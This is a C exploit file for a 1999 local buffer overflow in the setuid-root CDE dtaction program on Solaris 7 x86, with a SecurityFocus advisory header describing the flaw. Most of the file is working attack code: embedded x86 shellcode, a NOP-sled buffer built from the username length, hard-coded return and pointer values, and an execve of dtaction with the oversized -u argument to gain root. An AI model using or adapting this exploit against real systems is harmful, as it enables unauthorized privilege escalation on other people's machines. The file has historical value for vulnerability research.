880bbe402e
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94 lines
No EOL
2.9 KiB
C
94 lines
No EOL
2.9 KiB
C
/*
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source: https://www.securityfocus.com/bid/635/info
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TRU64/DIGITAL UNIX 4.0 d/e/f,AIX <= 4.3.2,Common Desktop Environment <= 2.1,IRIX <= 6.5.14,Solaris <= 7.0 dtaction Userflag Buffer Overflow Vulnerability
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CDE is the Common Desktop Environment, an implementation of a Desktop Manager for systems that run X. It is distributed with various commercial UNIX implementations.
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Under some distributions of CDE Common Desktop Environment, the dtaction program has a locally exploitable buffer overflow condition. The buffer overflow condition exists in the argument parsing code for the -u (user) function. Any information provided by the user over 1024 bytes may overwrite the buffer and in return be exploited by a malicious user.
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Since the dtaction program is typically installed setuid root, this make it possible for a local user to gain administrative access on a vulnerable system.
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*/
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/*
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* dtaction_ov.c
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* Job de Haas
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* (c) ITSX bv 1999
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*
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* This program demonstrates an overflow problem in /usr/dt/bin/dtaction.
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* It has only been tested on Solaris 7 x86
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* assembly code has been taken from ex_dtprintinfo86.c by unewn4th@usa.net
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <pwd.h>
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#define BUFLEN 998
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char exploit_code[] =
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"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
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"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
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"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
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"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
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"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
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"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
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"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
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"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
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"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
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"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id";
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main()
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{
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char *argp[6], *envp[3];
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char buf[2048];
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unsigned long *p;
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struct passwd *pw;
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int buflen;
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if ((pw = getpwuid(getuid())) == NULL) {
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perror("getpwuid");
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exit(1);
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}
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buflen = BUFLEN - strlen( pw->pw_name );
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memset(buf,0x90,buflen);
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strncpy( &buf[500], exploit_code, strlen(exploit_code));
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/* set some pointers to values that keep code running */
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p = (unsigned long *)&buf[buflen];
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*p++ = 0x37dc779b;
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*p++ = 0xdfaf6502;
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*p++ = 0x08051230;
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*p++ = 0x080479b8;
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/* the return address. */
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*p++ = 0x08047710;
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*p = 0;
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argp[0] = strdup("/usr/dt/bin/dtaction");
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argp[1] = strdup("-u");
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argp[2] = strdup(buf);
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argp[3] = strdup("Run");
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argp[4] = strdup("/usr/bin/id");
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argp[5] = NULL;
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if (!getenv("DISPLAY")) {
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printf("forgot to set DISPLAY\n");
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exit(1);
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}
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envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1);
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strcpy(envp[0],"DISPLAY=");
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strcat(envp[0],getenv("DISPLAY"));
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envp[1] = NULL;
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execve("/usr/dt/bin/dtaction",argp,envp);
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} |